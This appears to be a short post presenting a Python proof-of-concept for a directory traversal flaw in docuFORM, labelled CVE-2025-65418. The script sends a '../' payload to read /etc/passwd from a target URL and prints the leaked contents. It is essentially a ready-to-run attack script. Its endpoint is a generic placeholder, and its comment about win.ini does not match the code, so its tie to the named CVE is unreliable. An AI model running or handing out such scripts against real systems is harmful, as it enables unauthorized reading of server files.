CVE-2025-65418 docuFORM目录遍历漏洞

import requests def check_poc(target_url): # PoC to check for directory traversal # Payload attempts to read /etc/passwd on Linux or win.ini on Windows payload = "../../../../../../../../etc/passwd" full_url = f"{target_url}/vulnerable_endpoint?file={payload}" try: response = requests.get(full_url, timeout=5) if response.status_code == 200 and "root:" in response.text: print(f"[+] Vulnerability confirmed at {target_url}") print(response.text[:200]) else: print("[-] Target does not appear vulnerable or payload failed.") except Exception as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8080" # Replace with actual target check_poc(target)